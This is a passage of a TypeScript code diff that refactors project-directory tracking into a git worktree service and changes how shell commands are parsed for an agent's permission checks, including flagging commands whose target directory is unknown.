eq(ProjectDirectoryTable.project_id, input.projectID),
|
||||
eq(ProjectDirectoryTable.directory, input.directory),
|
||||
),
|
||||
)
|
||||
.returning({ directory: ProjectDirectoryTable.directory })
|
||||
.get()
|
||||
.pipe(Effect.orDie)) !== undefined
|
||||
)
|
||||
})
|
||||
|
||||
const list = Effect.fn("ProjectDirectories.list")(function* (projectID: ProjectSchema.ID) {
|
||||
const rows = yield* db
|
||||
.select({ directory: ProjectDirectoryTable.directory, strategy: ProjectDirectoryTable.strategy })
|
||||
.from(ProjectDirectoryTable)
|
||||
.where(eq(ProjectDirectoryTable.project_id, projectID))
|
||||
.orderBy(desc(ProjectDirectoryTable.time_created), asc(ProjectDirectoryTable.directory))
|
||||
.all()
|
||||
.pipe(Effect.orDie)
|
||||
return rows.map((row) => ({ directory: row.directory, strategy: row.strategy ?? undefined }))
|
||||
})
|
||||
|
||||
const get = Effect.fn("ProjectDirectories.get")(function* (input: {
|
||||
projectID: ProjectSchema.ID
|
||||
directory: AbsolutePath
|
||||
}) {
|
||||
const row = yield* db
|
||||
.select({ directory: ProjectDirectoryTable.directory, strategy: ProjectDirectoryTable.strategy })
|
||||
.from(ProjectDirectoryTable)
|
||||
.where(
|
||||
and(
|
||||
eq(ProjectDirectoryTable.project_id, input.projectID),
|
||||
eq(ProjectDirectoryTable.directory, input.directory),
|
||||
),
|
||||
)
|
||||
.get()
|
||||
.pipe(Effect.orDie)
|
||||
return row ? { directory: row.directory, strategy: row.strategy ?? undefined } : undefined
|
||||
})
|
||||
|
||||
return Service.of({
|
||||
list,
|
||||
get,
|
||||
create,
|
||||
remove,
|
||||
})
|
||||
}),
|
||||
)
|
||||
|
||||
export const node = makeGlobalNode({ service: Service, layer: layer, deps: [Database.node] })
|
||||
@@ -10,18 +10,9 @@ export type ID = typeof ID.Type
|
||||
export const Current = Project.Current
|
||||
export type Current = typeof Current.Type
|
||||
|
||||
export const Directory = Project.Directory
|
||||
export type Directory = typeof Directory.Type
|
||||
|
||||
export const Info = Project.Info
|
||||
export interface Info extends Schema.Schema.Type<typeof Info> {}
|
||||
|
||||
export const DirectoriesInput = Project.DirectoriesInput
|
||||
export type DirectoriesInput = typeof DirectoriesInput.Type
|
||||
|
||||
export const Directories = Project.Directories
|
||||
export type Directories = typeof Directories.Type
|
||||
|
||||
export const Vcs = Schema.Union([
|
||||
Schema.Struct({
|
||||
type: Schema.Literal("git"),
|
||||
|
||||
@@ -23,6 +23,7 @@ export const ProjectTable = sqliteTable("project", {
|
||||
commands: text({ mode: "json" }).$type<{ start?: string }>(),
|
||||
})
|
||||
|
||||
/** @deprecated Use WorktreeTable from worktree/sql instead. */
|
||||
export const ProjectDirectoryTable = sqliteTable(
|
||||
"project_directory",
|
||||
{
|
||||
|
||||
@@ -18,7 +18,7 @@ import { SessionInboxTable, SessionMessageTable, SessionTable } from "./sql.js"
|
||||
import { Slug } from "../util/slug.js"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { Money } from "@opencode-ai/schema/money"
|
||||
import { Event } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { AbsolutePath, RelativePath } from "../schema.js"
|
||||
import type { SessionSchema } from "./schema.js"
|
||||
@@ -441,7 +441,7 @@ const layer = Layer.effectDiscard(
|
||||
// Sessions whose ownership came from the directory's previous resolution
|
||||
// follow its new identity. Location, transcript, instructions, and recency
|
||||
// are untouched: the session did not move, its directory got identified.
|
||||
yield* bus.project(Event.Resolved, (event) =>
|
||||
yield* bus.project(Worktree.Event.Resolved, (event) =>
|
||||
Effect.gen(function* () {
|
||||
const stale = [event.data.previous, Project.ID.global].filter((id) => id !== event.data.projectID)
|
||||
if (stale.length === 0) return
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
export * as ShellParse from "./parse.js"
|
||||
|
||||
import { Effect } from "effect"
|
||||
import { fileURLToPath } from "url"
|
||||
import { ShellScan } from "@opencode-ai/shell-scan"
|
||||
import os from "os"
|
||||
import path from "path"
|
||||
import type { Node } from "web-tree-sitter"
|
||||
import { shellParserWasm } from "#shell-parser-wasm"
|
||||
import { ShellSelect } from "./select.js"
|
||||
|
||||
type Part = { type: string; text: string }
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
|
||||
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
|
||||
|
||||
const ARITY: Record<string, number> = {
|
||||
@@ -153,77 +150,71 @@ const ARITY: Record<string, number> = {
|
||||
}
|
||||
|
||||
export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
|
||||
const parsers = yield* Effect.promise(load)
|
||||
const powershell = ShellSelect.ps(shell)
|
||||
const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
|
||||
if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
|
||||
|
||||
return yield* Effect.acquireUseRelease(
|
||||
Effect.succeed(tree),
|
||||
(tree) =>
|
||||
Effect.sync(() =>
|
||||
tree.rootNode.descendantsOfType("command").reduce(
|
||||
(result, node) => {
|
||||
if (!node) return result
|
||||
const command = parts(node)
|
||||
const tokens = command.map((part) => part.text)
|
||||
if (tokens.length === 0) return result
|
||||
const name = powershell ? tokens[0].toLowerCase() : tokens[0]
|
||||
if (CWD.has(name)) {
|
||||
result.directories.push(...directoryArgs(command, powershell, cwd, shell))
|
||||
return result
|
||||
}
|
||||
result.commands.push({
|
||||
resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
|
||||
save: `${prefix(tokens).join(" ")} *`,
|
||||
})
|
||||
return result
|
||||
},
|
||||
{ commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
|
||||
),
|
||||
),
|
||||
(tree) => Effect.sync(() => tree.delete()),
|
||||
)
|
||||
return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
|
||||
})
|
||||
|
||||
function parts(node: Node) {
|
||||
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
|
||||
const child = node.child(index)
|
||||
if (!child) return []
|
||||
if (child.type === "command_elements")
|
||||
return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
|
||||
const item = child.child(itemIndex)
|
||||
if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
|
||||
return [{ type: item.type, text: item.text }]
|
||||
})
|
||||
if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
|
||||
return []
|
||||
return [{ type: child.type, text: child.text }]
|
||||
})
|
||||
function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
|
||||
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
if (result.kind === "opaque")
|
||||
return {
|
||||
commands: [{ resource: command, save: command }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
}
|
||||
if (
|
||||
result.commands.some((item) => {
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
|
||||
return directoryArgs(item.words, powershell, cwd, shell).length === 0
|
||||
})
|
||||
)
|
||||
return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
|
||||
return result.commands.reduce(
|
||||
(output, item) => {
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name) return output
|
||||
if (CWD.has(name)) {
|
||||
output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
|
||||
return output
|
||||
}
|
||||
output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
|
||||
return output
|
||||
},
|
||||
{
|
||||
commands: [] as Array<{ resource: string; save: string }>,
|
||||
directories: [] as string[],
|
||||
opaque: false,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
|
||||
if (!powershell)
|
||||
return command
|
||||
function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
|
||||
if (!powershell) {
|
||||
const values = command
|
||||
.slice(1)
|
||||
.filter((part) => !part.text.startsWith("-"))
|
||||
.map((part) => directoryArgument(part.text, powershell, cwd, shell))
|
||||
.filter((part) => !part.startsWith("-"))
|
||||
.map((part) => directoryArgument(part, powershell, cwd, shell))
|
||||
.filter((part) => part !== undefined)
|
||||
if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
|
||||
return []
|
||||
return values
|
||||
}
|
||||
|
||||
const directories: string[] = []
|
||||
let path = false
|
||||
let expectsPath = false
|
||||
for (const part of command.slice(1)) {
|
||||
if (path) {
|
||||
const value = directoryArgument(part.text, powershell, cwd, shell)
|
||||
if (expectsPath) {
|
||||
const value = directoryArgument(part, powershell, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
path = false
|
||||
expectsPath = false
|
||||
continue
|
||||
}
|
||||
if (part.type === "command_parameter") {
|
||||
path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
|
||||
if (part.startsWith("-")) {
|
||||
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
|
||||
continue
|
||||
}
|
||||
const value = directoryArgument(part.text, powershell, cwd, shell)
|
||||
const value = directoryArgument(part, powershell, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
}
|
||||
return directories
|
||||
@@ -253,6 +244,7 @@ function expandKnownDirectory(value: string) {
|
||||
if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
|
||||
if (value === "~") return os.homedir()
|
||||
if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
|
||||
if (value.startsWith("~")) return
|
||||
return value
|
||||
}
|
||||
|
||||
@@ -269,28 +261,3 @@ function prefix(tokens: string[]) {
|
||||
}
|
||||
return tokens.slice(0, 1)
|
||||
}
|
||||
|
||||
function resolve(asset: string) {
|
||||
if (asset.startsWith("file://")) return fileURLToPath(asset)
|
||||
if (path.isAbsolute(asset)) return asset
|
||||
return fileURLToPath(new URL(asset, import.meta.url))
|
||||
}
|
||||
|
||||
const load = (() => {
|
||||
let loading: ReturnType<typeof initialize> | undefined
|
||||
return () => (loading ??= initialize())
|
||||
})()
|
||||
|
||||
async function initialize() {
|
||||
const { Parser, Language } = await import("web-tree-sitter")
|
||||
await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
|
||||
const [bashLanguage, psLanguage] = await Promise.all([
|
||||
Language.load(resolve(shellParserWasm.bash)),
|
||||
Language.load(resolve(shellParserWasm.powershell)),
|
||||
])
|
||||
const bash = new Parser()
|
||||
bash.setLanguage(bashLanguage)
|
||||
const ps = new Parser()
|
||||
ps.setLanguage(psLanguage)
|
||||
return { bash, ps }
|
||||
}
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
|
||||
|
||||
export const shellParserWasm = { runtime, bash, powershell }
|
||||
@@ -1,11 +0,0 @@
|
||||
import { createRequire } from "node:module"
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
export const shellParserWasm = {
|
||||
runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
|
||||
bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
|
||||
powershell:
|
||||
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
|
||||
require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
|
||||
// loads these lazily and degrades when initialization fails, so empty paths
|
||||
// keep module load side-effect free instead of resolving from disk.
|
||||
export const shellParserWasm = { runtime: "", bash: "", powershell: "" }
|
||||
@@ -183,11 +183,21 @@ export const Plugin = {
|
||||
agent: context.agent,
|
||||
source,
|
||||
})
|
||||
if ("directoryUnknown" in parsed && parsed.directoryUnknown)
|
||||
yield* permission.assert({
|
||||
action: "external_directory",
|
||||
resources: ["*"],
|
||||
opaque: true,
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source,
|
||||
})
|
||||
if (parsed.commands.length > 0)
|
||||
yield* permission.assert({
|
||||
action: name,
|
||||
resources: parsed.commands.map((command) => command.resource),
|
||||
save: parsed.commands.map((command) => command.save),
|
||||
save: parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
|
||||
opaque: parsed.opaque,
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source,
|
||||
|
||||
@@ -0,0 +1,353 @@
|
||||
export * as Worktree from "./worktree.js"
|
||||
|
||||
import { Context, Effect, Layer, Schema } from "effect"
|
||||
import { and, asc, desc, eq, isNotNull, isNull, ne, or } from "drizzle-orm"
|
||||
import path from "path"
|
||||
import { AbsolutePath } from "./schema.js"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { Git } from "./git.js"
|
||||
import { makeGlobalNode, makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { ProjectSchema } from "./project/schema.js"
|
||||
import { Slug } from "./util/slug.js"
|
||||
import { Bus } from "./bus.js"
|
||||
import { Database } from "./database/database.js"
|
||||
import { Location } from "./location.js"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { WorktreeTable } from "./worktree/sql.js"
|
||||
import { canonical, DirectoryUnavailableError } from "./worktree/directory.js"
|
||||
import { WorktreeGit } from "./worktree/git.js"
|
||||
import type { EffectDrizzleSqlite } from "./database/drizzle.js"
|
||||
import { ProjectTable } from "./project/sql.js"
|
||||
|
||||
export { DirectoryUnavailableError } from "./worktree/directory.js"
|
||||
|
||||
export const StrategyID = Worktree.StrategyID
|
||||
export type StrategyID = typeof StrategyID.Type
|
||||
|
||||
export const CreateInput = Worktree.CreateInput
|
||||
export type CreateInput = typeof CreateInput.Type
|
||||
|
||||
export const RemoveInput = Worktree.RemoveInput
|
||||
export type RemoveInput = typeof RemoveInput.Type
|
||||
|
||||
export const RefreshInput = Schema.Struct({
|
||||
projectID: ProjectSchema.ID,
|
||||
}).annotate({ identifier: "Worktree.RefreshInput" })
|
||||
export type RefreshInput = typeof RefreshInput.Type
|
||||
|
||||
export const RefreshResult = Schema.Struct({
|
||||
updated: Schema.Array(AbsolutePath),
|
||||
removed: Schema.Array(AbsolutePath),
|
||||
}).annotate({ identifier: "Worktree.RefreshResult" })
|
||||
export type RefreshResult = typeof RefreshResult.Type
|
||||
|
||||
export const Info = Worktree.Info
|
||||
export type Info = typeof Info.Type
|
||||
|
||||
export const ListInput = Worktree.ListInput
|
||||
export type ListInput = typeof ListInput.Type
|
||||
|
||||
export const List = Worktree.List
|
||||
export type List = typeof List.Type
|
||||
|
||||
export const ListEntry = Schema.Struct({
|
||||
directory: AbsolutePath,
|
||||
type: Schema.Literals(["root", "worktree"]),
|
||||
}).annotate({ identifier: "Worktree.ListEntry" })
|
||||
export type ListEntry = typeof ListEntry.Type
|
||||
|
||||
export class SourceDirectoryNotFoundError extends Schema.TaggedErrorClass<SourceDirectoryNotFoundError>()(
|
||||
"Worktree.SourceDirectoryNotFoundError",
|
||||
{ projectID: ProjectSchema.ID, directory: Schema.optional(AbsolutePath) },
|
||||
) {}
|
||||
|
||||
export class DestinationExistsError extends Schema.TaggedErrorClass<DestinationExistsError>()(
|
||||
"Worktree.DestinationExistsError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class InvalidDirectoryError extends Schema.TaggedErrorClass<InvalidDirectoryError>()(
|
||||
"Worktree.InvalidDirectoryError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export class StrategyUnavailableError extends Schema.TaggedErrorClass<StrategyUnavailableError>()(
|
||||
"Worktree.StrategyUnavailableError",
|
||||
{ strategy: StrategyID },
|
||||
) {}
|
||||
|
||||
export class DuplicateStrategyError extends Schema.TaggedErrorClass<DuplicateStrategyError>()(
|
||||
"Worktree.DuplicateStrategyError",
|
||||
{ strategy: StrategyID },
|
||||
) {}
|
||||
|
||||
export type Error =
|
||||
| SourceDirectoryNotFoundError
|
||||
| DestinationExistsError
|
||||
| DirectoryUnavailableError
|
||||
| InvalidDirectoryError
|
||||
| StrategyUnavailableError
|
||||
| Git.WorktreeError
|
||||
|
||||
export interface Strategy {
|
||||
readonly id: StrategyID
|
||||
readonly create: (input: {
|
||||
sourceDirectory: AbsolutePath
|
||||
directory: AbsolutePath
|
||||
}) => Effect.Effect<Info, Git.WorktreeError | DirectoryUnavailableError>
|
||||
readonly remove: (input: {
|
||||
directory: AbsolutePath
|
||||
force: boolean
|
||||
}) => Effect.Effect<void, Git.WorktreeError | DirectoryUnavailableError>
|
||||
readonly list: (directory: AbsolutePath) => Effect.Effect<ListEntry[], Git.WorktreeError | DirectoryUnavailableError>
|
||||
}
|
||||
|
||||
export const Event = Worktree.Event
|
||||
|
||||
interface StoredInput {
|
||||
readonly projectID: ProjectSchema.ID
|
||||
readonly directory: AbsolutePath
|
||||
readonly strategy?: string
|
||||
}
|
||||
|
||||
type DatabaseClient = EffectDrizzleSqlite.EffectSQLiteDatabase
|
||||
type Transaction = Parameters<Parameters<DatabaseClient["transaction"]>[0]>[0]
|
||||
|
||||
export interface Interface {
|
||||
readonly register: (strategy: Strategy) => Effect.Effect<void, DuplicateStrategyError>
|
||||
readonly list: (projectID: ProjectSchema.ID) => Effect.Effect<List>
|
||||
readonly create: (input: CreateInput) => Effect.Effect<Info, Error>
|
||||
readonly remove: (input: RemoveInput) => Effect.Effect<void, Error>
|
||||
readonly refresh: (input: RefreshInput) => Effect.Effect<RefreshResult, Error>
|
||||
}
|
||||
|
||||
export class Service extends Context.Service<Service, Interface>()("@opencode/v2/Worktree") {}
|
||||
|
||||
export const refreshAfterBoot = Effect.gen(function* () {
|
||||
const location = yield* Location.Service
|
||||
const worktrees = yield* Service
|
||||
yield* Effect.gen(function* () {
|
||||
yield* Effect.logInfo("worktree refresh started", { projectID: location.project.id })
|
||||
const result = yield* worktrees.refresh({ projectID: location.project.id })
|
||||
yield* Effect.logInfo("worktree refresh done", {
|
||||
projectID: location.project.id,
|
||||
updated: result.updated,
|
||||
removed: result.removed,
|
||||
})
|
||||
}).pipe(
|
||||
Effect.catchCause((cause) => Effect.logWarning("worktree refresh failed", { cause })),
|
||||
Effect.forkScoped,
|
||||
Effect.asVoid,
|
||||
)
|
||||
})
|
||||
|
||||
const layer = Layer.effect(
|
||||
Service,
|
||||
Effect.gen(function* () {
|
||||
const fs = yield* FSUtil.Service
|
||||
const db = (yield* Database.Service).db
|
||||
const bus = yield* Bus.Service
|
||||
|
||||
const changed = Effect.fnUntraced(function* (projectID: ProjectSchema.ID, update: boolean) {
|
||||
if (update) yield* bus.publish(Event.Updated, { projectID })
|
||||
})
|
||||
|
||||
const ops = {
|
||||
list: Effect.fn("Worktree.list")(function* (projectID: ProjectSchema.ID) {
|
||||
const rows = yield* db
|
||||
.select({ directory: WorktreeTable.directory, strategy: WorktreeTable.strategy })
|
||||
.from(WorktreeTable)
|
||||
.where(eq(WorktreeTable.project_id, projectID))
|
||||
.orderBy(desc(WorktreeTable.time_created), asc(WorktreeTable.directory))
|
||||
.all()
|
||||
.pipe(Effect.orDie)
|
||||
return rows.map((row) => ({ directory: row.directory, strategy: row.strategy ?? undefined }))
|
||||
}),
|
||||
find: Effect.fnUntraced(function* (projectID: ProjectSchema.ID, directory: AbsolutePath) {
|
||||
const row = yield* db
|
||||
.select({ directory: WorktreeTable.directory, strategy: WorktreeTable.strategy })
|
||||
.from(WorktreeTable)
|
||||
.where(and(eq(WorktreeTable.project_id, projectID), eq(WorktreeTable.directory, directory)))
|
||||
.get()
|
||||
.pipe(Effect.orDie)
|
||||
return row ? { directory: row.directory, strategy: row.strategy ?? undefined } : undefined
|
||||
}),
|
||||
primary: Effect.fnUntraced(function* (projectID: ProjectSchema.ID) {
|
||||
return yield* db
|
||||
.select({ directory: ProjectTable.worktree })
|
||||
.from(ProjectTable)
|
||||
.where(eq(ProjectTable.id, projectID))
|
||||
.get()
|
||||
.pipe(Effect.orDie)
|
||||
}),
|
||||
create: Effect.fnUntraced(function* (input: StoredInput, tx?: Transaction) {
|
||||
return (
|
||||
(yield* (tx ?? db)
|
||||
.insert(WorktreeTable)
|
||||
.values({ project_id: input.projectID, directory: input.directory, strategy: input.strategy })
|
||||
.onConflictDoUpdate({
|
||||
target: [WorktreeTable.project_id, WorktreeTable.directory],
|
||||
set: { strategy: input.strategy ?? null },
|
||||
setWhere: input.strategy
|
||||
? or(isNull(WorktreeTable.strategy), ne(WorktreeTable.strategy, input.strategy))
|
||||
: isNotNull(WorktreeTable.strategy),
|
||||
})
|
||||
.returning({ directory: WorktreeTable.directory })
|
||||
.get()
|
||||
.pipe(Effect.orDie)) !== undefined
|
||||
)
|
||||
}),
|
||||
remove: Effect.fnUntraced(function* (projectID: ProjectSchema.ID, directory: AbsolutePath, tx?: Transaction) {
|
||||
return (
|
||||
(yield* (tx ?? db)
|
||||
.delete(WorktreeTable)
|
||||
.where(and(eq(WorktreeTable.project_id, projectID), eq(WorktreeTable.directory, directory)))
|
||||
.returning({ directory: WorktreeTable.directory })
|
||||
.get()
|
||||
.pipe(Effect.orDie)) !== undefined
|
||||
)
|
||||
}),
|
||||
}
|
||||
|
||||
const registry = new Map<StrategyID, Strategy>()
|
||||
|
||||
const register = Effect.fn("Worktree.register")(function* (strategy: Strategy) {
|
||||
if (registry.has(strategy.id)) return yield* new DuplicateStrategyError({ strategy: strategy.id })
|
||||
registry.set(strategy.id, strategy)
|
||||
})
|
||||
|
||||
// Register default strategies
|
||||
const gitStrategy = yield* WorktreeGit.make
|
||||
yield* register(gitStrategy).pipe(Effect.orDie)
|
||||
|
||||
const strategies = () => Array.from(registry.values())
|
||||
|
||||
const source = Effect.fnUntraced(function* (input: AbsolutePath | undefined, projectID: ProjectSchema.ID) {
|
||||
const sourceDirectory = input ?? (yield* ops.primary(projectID))?.directory
|
||||
if (!sourceDirectory) return yield* new SourceDirectoryNotFoundError({ projectID })
|
||||
const resolved = yield* canonical(fs, sourceDirectory)
|
||||
if ((yield* ops.find(projectID, resolved)) === undefined)
|
||||
return yield* new SourceDirectoryNotFoundError({ projectID, directory: resolved })
|
||||
return resolved
|
||||
})
|
||||
|
||||
const getStrategy = Effect.fnUntraced(function* (id: StrategyID) {
|
||||
const found = registry.get(id)
|
||||
if (!found) return yield* new StrategyUnavailableError({ strategy: id })
|
||||
return found
|
||||
})
|
||||
|
||||
const create = Effect.fn("Worktree.create")(function* (input: CreateInput) {
|
||||
const selected = yield* getStrategy(input.strategy)
|
||||
const sourceDirectory = yield* source(input.from, input.projectID)
|
||||
yield* fs.makeDirectory(input.directory, { recursive: true }).pipe(Effect.orDie)
|
||||
const name = input.name ?? Slug.create()
|
||||
let suffix = 1
|
||||
let worktreeDirectory = AbsolutePath.make(path.join(input.directory, name))
|
||||
while (yield* fs.existsSafe(worktreeDirectory)) {
|
||||
suffix++
|
||||
if (suffix > 10) return yield* new DestinationExistsError({ directory: worktreeDirectory })
|
||||
worktreeDirectory = AbsolutePath.make(path.join(input.directory, `${name}-${suffix}`))
|
||||
}
|
||||
|
||||
const result = yield* selected.create({
|
||||
directory: worktreeDirectory,
|
||||
sourceDirectory,
|
||||
})
|
||||
yield* changed(
|
||||
input.projectID,
|
||||
yield* ops.create({
|
||||
projectID: input.projectID,
|
||||
directory: result.directory,
|
||||
strategy: input.strategy,
|
||||
}),
|
||||
)
|
||||
return result
|
||||
})
|
||||
|
||||
const remove = Effect.fn("Worktree.remove")(function* (input: RemoveInput) {
|
||||
const worktreeDirectory = yield* canonical(fs, input.directory)
|
||||
const stored = yield* ops.find(input.projectID, worktreeDirectory)
|
||||
if (!stored?.strategy) return yield* new InvalidDirectoryError({ directory: worktreeDirectory })
|
||||
yield* (yield* getStrategy(StrategyID.make(stored.strategy))).remove({
|
||||
directory: worktreeDirectory,
|
||||
force: input.force,
|
||||
})
|
||||
yield* changed(input.projectID, yield* ops.remove(input.projectID, worktreeDirectory))
|
||||
})
|
||||
|
||||
const refresh = Effect.fn("Worktree.refresh")(function* (input: RefreshInput) {
|
||||
const stored = yield* ops.list(input.projectID)
|
||||
const checked = yield* Effect.forEach(
|
||||
stored,
|
||||
(item) => fs.isDir(item.directory).pipe(Effect.map((exists) => ({ ...item, exists }))),
|
||||
{ concurrency: "unbounded" },
|
||||
)
|
||||
const sourceDirectories = checked
|
||||
.filter((item) => item.strategy === undefined && item.exists)
|
||||
.map((item) => item.directory)
|
||||
const discovered = yield* Effect.forEach(
|
||||
sourceDirectories,
|
||||
(sourceDirectory) =>
|
||||
Effect.forEach(strategies(), (strategy) =>
|
||||
strategy.list(sourceDirectory).pipe(
|
||||
Effect.catchTag("Worktree.DirectoryUnavailableError", () => Effect.succeed([])),
|
||||
Effect.map((items) =>
|
||||
items.map((item) => ({
|
||||
directory: item.directory,
|
||||
strategy: item.type === "worktree" ? strategy.id : undefined,
|
||||
})),
|
||||
),
|
||||
),
|
||||
),
|
||||
{ concurrency: "unbounded" },
|
||||
).pipe(
|
||||
Effect.map((sets) => new Map(sets.flat(2).map((item) => [item.directory, item] as const)).values().toArray()),
|
||||
)
|
||||
const removed = checked.filter((item) => !item.exists).map((item) => item.directory)
|
||||
const result = yield* db
|
||||
.transaction((tx) =>
|
||||
Effect.all({
|
||||
updated: Effect.forEach(discovered, (item) =>
|
||||
ops.create(
|
||||
{
|
||||
projectID: input.projectID,
|
||||
directory: item.directory,
|
||||
strategy: item.strategy,
|
||||
},
|
||||
tx,
|
||||
),
|
||||
),
|
||||
removed: Effect.forEach(removed, (directory) => ops.remove(input.projectID, directory, tx)),
|
||||
}),
|
||||
)
|
||||
.pipe(Effect.orDie)
|
||||
const changes = {
|
||||
updated: discovered.filter((_, index) => result.updated[index]).map((item) => item.directory),
|
||||
removed: removed.filter((_, index) => result.removed[index]),
|
||||
}
|
||||
yield* changed(input.projectID, changes.updated.length > 0 || changes.removed.length > 0)
|
||||
return changes
|
||||
})
|
||||
|
||||
return Service.of({
|
||||
register,
|
||||
list: ops.list,
|
||||
create,
|
||||
remove,
|
||||
refresh,
|
||||
})
|
||||
}),
|
||||
)
|
||||
|
||||
export const node = makeGlobalNode({
|
||||
service: Service,
|
||||
layer: layer,
|
||||
deps: [FSUtil.node, Git.node, Bus.node, Database.node],
|
||||
})
|
||||
|
||||
export const refreshNode = makeLocationNode({
|
||||
name: "worktree-refresh",
|
||||
layer: Layer.effectDiscard(refreshAfterBoot),
|
||||
deps: [node, Location.node],
|
||||
})
|
||||
@@ -0,0 +1,16 @@
|
||||
export * as WorktreeDirectory from "./directory.js"
|
||||
|
||||
import { Effect, Schema } from "effect"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { AbsolutePath } from "../schema.js"
|
||||
|
||||
export class DirectoryUnavailableError extends Schema.TaggedErrorClass<DirectoryUnavailableError>()(
|
||||
"Worktree.DirectoryUnavailableError",
|
||||
{ directory: AbsolutePath },
|
||||
) {}
|
||||
|
||||
export const canonical = Effect.fnUntraced(function* (fs: FSUtil.Interface, input: AbsolutePath) {
|
||||
const resolved = AbsolutePath.make(yield* fs.resolve(input))
|
||||
if (!(yield* fs.isDir(resolved))) return yield* new DirectoryUnavailableError({ directory: input })
|
||||
return resolved
|
||||
})
|
||||
@@ -0,0 +1,39 @@
|
||||
export * as WorktreeGit from "./git.js"
|
||||
|
||||
import { Effect } from "effect"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { FSUtil } from "@opencode-ai/util/fs-util"
|
||||
import { Git } from "../git.js"
|
||||
import { canonical, DirectoryUnavailableError } from "./directory.js"
|
||||
import type { ListEntry, Strategy } from "../worktree.js"
|
||||
|
||||
export const make = Effect.gen(function* () {
|
||||
const fs = yield* FSUtil.Service
|
||||
const git = yield* Git.Service
|
||||
|
||||
return {
|
||||
id: Worktree.StrategyID.make("git"),
|
||||
create: Effect.fn("Worktree.Git.create")(function* (input) {
|
||||
const repository = yield* git.repo.discover(input.sourceDirectory)
|
||||
if (!repository) return yield* new DirectoryUnavailableError({ directory: input.sourceDirectory })
|
||||
yield* git.worktree.create({ repository, directory: input.directory })
|
||||
return { directory: yield* canonical(fs, input.directory) }
|
||||
}),
|
||||
remove: Effect.fn("Worktree.Git.remove")(function* (input) {
|
||||
const repository = yield* git.repo.discover(input.directory)
|
||||
if (!repository) return yield* new DirectoryUnavailableError({ directory: input.directory })
|
||||
yield* git.worktree.remove({ repository, directory: input.directory, force: input.force })
|
||||
}),
|
||||
list: Effect.fn("Worktree.Git.list")(function* (directory) {
|
||||
const repository = yield* git.repo.discover(directory)
|
||||
if (!repository) return yield* new DirectoryUnavailableError({ directory })
|
||||
const entries = yield* git.worktree.list(repository)
|
||||
return yield* Effect.forEach(entries, (entry) =>
|
||||
canonical(fs, entry.directory).pipe(
|
||||
